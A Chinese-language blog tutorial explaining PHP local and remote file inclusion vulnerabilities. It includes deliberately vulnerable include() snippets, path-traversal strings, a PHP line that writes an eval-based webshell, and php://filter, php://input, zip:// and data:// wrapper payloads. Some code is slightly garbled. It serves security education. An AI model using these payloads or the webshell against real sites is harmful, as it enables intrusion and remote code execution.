文件包含漏洞全面详解_代码007(未授权)

本文介绍: 1.文件包含漏洞概述和SQL注入等攻击方式一样，文件包含漏洞也是一种注入型漏洞，其本质就是输入一段用户能够控制的脚本或者代码，并让服务端执行。什么叫包含呢？以PHP为例，我们常常把可重复使用的函数写入到单个文件中，在使用该函数时，直接调用此文件，而无需再次编写函数，这一过程叫做包含。有时候由于网站功能需求，会让前端用户选择要包含的文件，而开发人员又没有对要包含的文件进行安全考虑，就导致攻击者可以通过修改文件的位置来让后台执行任意文件，从而导致文件包含漏洞。以PHP为例,常用的文件包含函数有以下四种。…

1.文件包含漏洞概述
和SQL注入等攻击方式一样，文件包含漏洞也是一种注入型漏洞，其本质就是输入一段用户能够控制的脚本或者代码，并让服务端执行。

什么叫包含呢？以PHP为例，我们常常把可重复使用的函数写入到单个文件中，在使用该函数时，直接调用此文件，而无需再次编写函数，这一过程叫做包含。

有时候由于网站功能需求，会让前端用户选择要包含的文件，而开发人员又没有对要包含的文件进行安全考虑，就导致攻击者可以通过修改文件的位置来让后台执行任意文件，从而导致文件包含漏洞。

以PHP为例,常用的文件包含函数有以下四种
include(),require(),include_once(),require_once()

区别如下:

<?php
	include $_GET['test'];
?>

<?php
	phpinfo();
?>

现在我们将phpinfo.jpg的内容改成一段文字:hello world!
再次进行访问，可以读出文本内容
在这里插入图片描述
利用这个特性，我们可以读取一下包含敏感信息的文件。

<?php
	$file=$_GET['filename'];
	include($file);
?>

网站利用文件包含功能读取一些php文件，例如phpinfo:
在这里插入图片描述
利用该代码，我们可以读取一些系统本地的敏感信息。
例如:C:Windowssystem.ini文件。
（1）使用绝对路径
使用绝对路径直接读取:

（2）使用相对路径进行读取
通过./表示当前位置路径，…/表示上一级路径位置，在linux中同样适用。

例如当前页面所在路径为C:Apache24htdocs，我们需要使用…/退到C盘再进行访问，构造路径如下：
../../windows/system.ini

<?php
	fwrite(fopen("shell.php","w"),'<?php eval($_POST[123]);?>);
?>

127.0.0.1<?php phpinfo();?>

如果PHP的配置选项allow_url_include、allow_url_fopen状态为ON的话，则include/require函数是可以加载远程文件的，这种漏洞被称为远程文件包含(RFI)
在这里插入图片描述
首先我们来看一段代码

<?php
	$path=$_GET['path'];
	include($path . '/phpinfo.php');
?>

php:// 访问各个输入/输出流（I/O streams），在CTF中经常使用的是php://filter和php://input
php://filter用于读取源码。
php://input用于执行php代码。

输入
php://filter/convert.base64-encode/resource=文件路径
得到2.php加密后的源码：
在这里插入图片描述
再进行base64解码，获取到2.php的完整源码信息：

php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时，可以将参数设为php://input,同时post想设置的文件内容，php执行时会将post内容当作文件内容。从而导致任意代码执行。
利用条件:

利用该方法，我们可以直接写入php文件，输入file=php://input，然后使用burp抓包，写入php代码：
在这里插入图片描述
发送报文，可以看到本地生成了一句话木马：

zip://[压缩包绝对路径]#[压缩包内文件]?file=zip://D:1.zip%23phpinfo.txt

data://text/plain,<?php phpinfo();?>
//如果此处对特殊字符进行了过滤，我们还可以通过base64编码后再输入：
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

显示所有内容

声明：本站所有文章，如无特殊说明或标注，均为本站原创发布。任何个人或组织，在未征得本站同意时，禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益，可联系我们进行处理。

包含文件漏洞

文件包含漏洞总结

一、什么是文件包含漏洞

二、本地文件包含漏洞(LFI)

三、LFI漏洞利用技巧

1.配合文件上传使用

2.包含Apache日志文件

3.包含SESSION文件

4.包含临时文件

四、远程文件包含(RFI)

五、PHP伪协议

1.file://协议

2.php://协议

3.ZIP://协议

4.data://协议

5.伪协议利用条件

六、文件包含漏洞防护

发表回复取消回复